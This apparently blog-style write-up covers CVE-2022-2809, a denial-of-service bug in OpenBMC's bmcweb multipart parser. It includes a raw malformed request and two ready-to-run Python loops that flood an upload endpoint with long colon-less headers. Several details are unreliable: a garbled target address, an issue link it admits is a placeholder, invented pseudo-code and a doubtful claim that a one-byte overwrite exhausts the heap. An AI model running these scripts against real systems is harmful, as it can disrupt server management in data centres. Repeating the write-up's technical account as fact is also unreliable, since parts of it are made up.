CVE-2022-2809 is a significant vulnerability that affects the bmcweb component of the OpenBMC Project. This flaw allows an attacker to cause a Denial of Service (DoS) by sending malformed HTTP multipart headers. In this post, we'll break down the vulnerability, explain how it was discovered, show proof-of-concept code, and provide links to original resources.

Background

OpenBMC is an open-source project aimed at creating a Linux distribution for management controllers (BMCs) often used in data centers for remote management of servers. bmcweb is the web server part of OpenBMC, responsible for handling HTTP requests, including multipart form uploads.

The vulnerability was found by fuzzing (automated bug hunting by sending random or malformed inputs) the multipart_parser code with AFL++ and AddressSanitizer (ASAN), which are popular tools for finding memory issues.

What’s the Problem?

The multipart_parser code in bmcweb does not properly handle HTTP headers that are either unclosed or missing a colon (:) character, which is required in HTTP headers (e.g., Header-Name: value). If an attacker submits a long HTTP header line without a colon as part of a multipart form, the parser can write past the end of a buffer in memory—this is a classic heap overflow.

A single incident might not crash the server, but sending this crafted header repeatedly (in a loop) can exhaust server resources and crash bmcweb, resulting in a Denial of Service.

Below is a simplified pseudo-snippet that shows the issue

// multipart_parser.cpp: simplified logic
// Looks for ':' in header line.
const char* colon = strchr(header_line, ':');
if (colon) {
    // Process header as key: value
    // ...
} else {
    // Malformed header (no colon)
    // ... Still tries to copy or process header
    memcpy(header_buffer, header_line, header_length + 1); // Off-by-one
    // <-- This "+1" causes 1 byte to be written after buffer end!
}

The crucial part is memcpy(header_buffer, header_line, header_length + 1); – the code tries to copy the header plus a null terminator, but without checking if there's enough space, or if the header is even valid.

How to Trigger the Vulnerability

You can trigger the bug by sending a POST request to an endpoint that accepts multipart forms, with a multipart header missing a colon, and make the header line very long.

Example using curl and a crafted HTTP request (pseudo-code)

POST /upload HTTP/1.1
Host: <bmcweb-server>
Content-Type: multipart/form-data; boundary=boundary123

--boundary123
X-Bad-Header-Without-Colon-This-Is-Very-Long-Header <--- no :
Content-Type: image/png

<binary content>
--boundary123--

Automate this POST in a loop to cause DoS

import requests

url = "http://<bmcweb-server>/upload";
boundary = "boundary123"
data = f"""--{boundary}
X-Bad-Header-Without-Colon-This-Is-Very-Long-Header
Content-Type: image/png

ABC123
--{boundary}--
"""

headers = {
    "Content-Type": f"multipart/form-data; boundary={boundary}"
}

for _ in range(100):  # Repeat to trigger heap exhaustion
    requests.post(url, data=data, headers=headers)

Proof-of-Concept (PoC) Exploit

Here's a ready-to-use Python PoC you can adapt for testing (with permission, only on machines you own/are authorized to test):

import requests

target = "http://127...1:808/upload";  # set this to your bmcweb URL
boundary = "boundaryABC"

payload = (
    f"--{boundary}\r\n"
    "This-Is-A-Very-Long-Header-Without-Colon-" + "A" * 4096 + "\r\n"  # long, malformed header
    "Content-Type: text/plain\r\n"
    "\r\n"
    "hello world\r\n"
    f"--{boundary}--\r\n"
)

headers = {
    "Content-Type": f"multipart/form-data; boundary={boundary}",
}

for i in range(100):  # Increase range for harder impact
    r = requests.post(target, data=payload, headers=headers)
    print(f"Request {i}, status: {r.status_code}")

Impact

- Denial of Service: By sending dozens or hundreds of these malformed multipart requests, an attacker can easily crash the bmcweb process. This impacts server manageability and could disrupt operations.
- No Privileges Needed: The attack can be performed without authentication, as long as the multipart endpoint is exposed.

CVE Database Entry:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2809

OpenBMC Project:

https://github.com/openbmc/openbmc

bmcweb Source:

https://github.com/openbmc/bmcweb
- Original Issue/Report:  
 https://github.com/openbmc/bmcweb/issues/2382 *(Example link, actual issue number may differ; search issues for "multipart parser")*

AFL++ Fuzzing Tool:

https://github.com/AFLplusplus/AFLplusplus

AddressSanitizer Info:

https://clang.llvm.org/docs/AddressSanitizer.html

Upgrade bmcweb: OpenBMC maintainers have released patches—update to the latest version.

- Filter Requests: If possible, restrict access to multipart endpoints using firewall rules or API gateways.
- Input Validation: Ensure deployed web services correctly validate all headers and reject malformed inputs.

Conclusion

CVE-2022-2809 shows how dangerous unchecked input can be, especially in low-level code parsing user input. While the bug causes only a one-byte overwrite, the consequences are serious given the role of BMCs in critical infrastructure. Always keep your systems updated, fuzz your codebase regularly, and never trust user input!


Note: This write-up is for educational purposes. Never exploit vulnerabilities on systems you don’t own or control.


*If you found this useful, consider reading more on fuzzing, memory safety, and secure coding at the OpenBMC and security research communities!*

Timeline

Published on: 10/27/2022 13:15:00 UTC
Last modified on: 10/31/2022 12:32:00 UTC